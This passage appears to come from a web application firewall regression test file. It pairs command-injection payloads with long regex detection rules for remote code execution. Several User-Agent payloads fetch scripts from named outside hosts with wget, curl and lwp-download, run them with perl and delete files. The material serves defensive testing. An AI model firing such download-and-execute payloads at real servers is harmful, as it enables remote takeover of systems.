|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Match `ssh-copy-id`" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "system('echo cd /tmp;wget http://turbatu.altervista.org/apache_32.png -O p2.txt;curl -O http://turbatu.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://turbatu.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\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user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)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\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "System Command Injection (932239) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "http://ricky.ilmerlodellarocca.com/upload.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg; appa.jpg;perl appa.jpg;rm -rf appa.jpg;wget http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;curl -O http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;lwp-download http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt ca.php;mv ca.php ca.php;chmod 755 ca.php" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[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$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x